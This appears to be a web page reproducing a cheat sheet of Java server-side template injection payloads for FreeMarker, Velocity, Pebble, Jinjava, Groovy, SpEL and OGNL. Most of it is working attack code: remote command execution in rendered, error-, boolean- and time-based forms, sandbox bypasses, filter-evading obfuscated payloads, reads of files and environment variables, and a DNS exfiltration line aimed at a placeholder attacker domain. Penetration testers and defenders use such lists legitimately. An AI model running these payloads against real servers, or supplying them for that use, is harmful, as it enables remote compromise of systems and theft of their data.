128 Payloads

Server Side Template Injection Payloads & Testing Methodology

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."

Server Side Template Injection - Java#

Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.

Summary#

Templating Libraries#

Template NamePayload Format
Codepen#{ }
Freemarker${ }, #{ }, [= ]
Groovy${ }
Jinjava{{ }}
Pebble{{ }}
SpEL*{ }, #{ }, ${ }
Thymeleaf[[ ]]
Velocity#set($X="") $X

Java EL#

Java EL - Basic Injection#

Java has multiple Expression Languages using similar syntax.

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
java5 lines
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java EL - Code Execution#

java5 lines
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE

---

Freemarker#

Official website

Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

You can try your payloads at https://try.freemarker.apache.org

Freemarker - Basic Injection#

The template can be :

Freemarker - Read File#

js2 lines
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Freemarker - Code Execution#

js9 lines
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE

Freemarker - Code Execution with Obfuscation#

FreeMarker offers the built-in function: lower_abc. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as chr in Python, as the documentation for lower_abc explains:

If you wanted a string that represents the string: "id", you could use the payload: ${9?lower_abc+4?lower_abc)}.

Chaining lower_abc to perform code execution (command: id):

js1 line
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Freemarker - Sandbox Bypass#

:warning: only works on Freemarker versions below 2.3.30

js5 lines
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

---

Jinjava#

Official website

Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

Jinjava - Basic Injection#

python2 lines
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Jinjava - Command Execution#

Fixed by HubSpot/jinjava PR #230

ps17 lines
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

---

Pebble#

Official website

Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

Pebble - Basic Injection#

java1 line
{{ someString.toUPPERCASE() }}

Pebble - Code Execution#

Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}.

New version of Pebble :

java12 lines
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

---

Velocity#

Official website

Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.

In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:

java8 lines
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as echo "a" > /tmp/a. Below is an example with whoami in base64:

java28 lines
#set($base64EncodedCommand = 'd2hvYW1p')

#set($contextObjectClass = $knownContextObject.getClass())

#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))

#set($StringClass = $contextObjectClass.forName("java.lang.String"))
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))

#set($commandArgs = ["/bin/sh", "-c", $command])

#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
#set($processBuilder = $processBuilder.redirectErrorStream(true))

Error-Based RCE payload:

java6 lines
#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)

Boolean-Based RCE payload:

java7 lines
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#include("Y:/A:/xxx")
#end

Time-Based RCE payload:

java7 lines
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
#end

---

Groovy#

Official website

Groovy - Basic injection#

Refer to groovy-lang.org/syntax , but ${9*9} is the basic injection.

Groovy - Read File#

groovy3 lines
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}

Groovy - HTTP Request#

groovy2 lines
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}

Groovy - Command Execution#

groovy4 lines
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}

Groovy - Command Execution with Obfuscation#

You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.

Payload represent the string: id: ${((char)105).toString()+((char)100).toString()}.

Execute system command (command: id):

groovy1 line
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Groovy - Sandbox Bypass#

groovy2 lines
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }

or

groovy1 line
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

---

Spring Expression Language#

Java EL payloads also work for SpEL

Official website

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.

SpEL - Basic Injection#

SpEL has built-in templating system using #{ }, but SpEL is also commonly used for interpolation using ${ }.
java3 lines
${7*7}
${'patt'.toString().replace('a', 'x')}
${T(java.lang.Integer).valueOf('1')}

SpEL - Retrieve Environment Variables#

java1 line
${T(java.lang.System).getenv()}

SpEL - Retrieve /etc/passwd#

java3 lines
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

SpEL - DNS Exfiltration#

DNS lookup

java1 line
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","[ATTACKER.DOMAIN.TLD]")}

SpEL - Session Attributes#

Modify session attributes

java1 line
${pageContext.request.getSession().setAttribute("admin",true)}

SpEL - Command Execution#

  • Method using java.lang.Runtime #1 - accessed with JavaClass
java1 line
    ${T(java.lang.Runtime).getRuntime().exec("whoami")}
  • Method using java.lang.Runtime #2
java3 lines
    #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    #{session.getAttribute("rtc").setAccessible(true)}
    #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
  • Method using java.lang.Runtime #3 - accessed with invoke
java1 line
    ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
  • Method using java.lang.Runtime #3 - accessed with javax.script.ScriptEngineManager
java1 line
    ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"whoami\\\")"))}
  • Method using java.lang.ProcessBuilder
java6 lines
    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    ${request.getAttribute("c").add("cmd.exe")}
    ${request.getAttribute("c").add("/k")}
    ${request.getAttribute("c").add("whoami")}
    ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    ${request.getAttribute("a")}
  • Error-Based payload:
java1 line
    ${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))}
  • Boolean-Based payload:
java1 line
    ${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""}
  • Time-Based payload:
java1 line
    ${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()}

Object-Graph Navigation Language#

Official website

OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.

OGNL - Basic Injection#

OGNL can be used with different tags like ${ }
java3 lines
7*7
'patt'.toString().replace('a', 'x')
@java.lang.Integer@valueOf('1')

OGNL - Command Execution#

Rendered:

java1 line
new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())

Error-Based:

java1 line
(new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0

Boolean-Based:

java1 line
1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+""

Time-Based:

java1 line
((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0)

References#